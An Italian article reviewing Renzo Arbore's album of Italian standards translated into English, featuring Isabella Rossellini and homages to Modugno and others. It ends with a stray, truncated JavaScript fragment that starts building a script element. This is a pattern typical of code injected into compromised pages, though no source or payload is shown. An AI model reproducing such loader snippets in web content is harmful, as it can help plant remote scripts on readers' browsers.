Matteo Mazzucca
My American way è il titolo dell’ultima “malefatta” di Renzo Arbore, noto cantautore, showman e personaggio televisivo italiano. Il cd raccoglie 15 brani della tradizione musicale del Belpaese tradotti in inglese per il mercato mondiale.
L’album si avvale della collaborazione di Isabella Rossellini, che canta in un misto di candore e malizia, la versione inglese de “Il materasso”, noto brano di successo di Renzo Arbore.
Quindici canzoni che rappresentano i brani della “memoria”, secondo l’artista, quelle che gli americani chiamano evergreen, brani destinati ad essere adottati, personalizzati e riletti nel tempo, come accade nel jazz che vive di un repertorio “senza tempo”.
In una recente intervista Arbore ha dichiarato: “Le mie canzoni, vista la mia età, sono tante. Vanno da quelle napoletane (che ho “riletto” tante volte) a quelle americane, messicane, francesi, cubane e a certe italiane.”
A proposito di quest’ultime, spiega Arbore, mi sento di poter affermare che oltre alle canzoni napoletane, tipicamente “made in Italy”, sono molto affascinanti anche le ballad italiane scritte da nostri compositori che mescolavano la passione per il jazz, la grande musica americana, insieme alla vena melodiosa e sentimentale tipicamente italiana”.
Tra i tanti ricordiamo Domenico Modugno, Tony Renis, Cesare Andrea Bixio, Carlo Alberto Rossi, ai quali Renzo Arbore ha voluto rendere omaggio in questo disco. C’era un tempo in cui gli americani attingevano al repertorio italiano. Basta ricordare due giganti come Nat King Cole con “Non dimenticar” e “Signorina Capuccina”; Frank Sinatra con “Luna Rossa” e “Anema e core”.
Allora per “non dimenticar” i grandi cantautori italiani del passato ascoltiamo il nuovo album di Arbore con “anema e core”.
var d=document;var s=d.createElement(‘script’);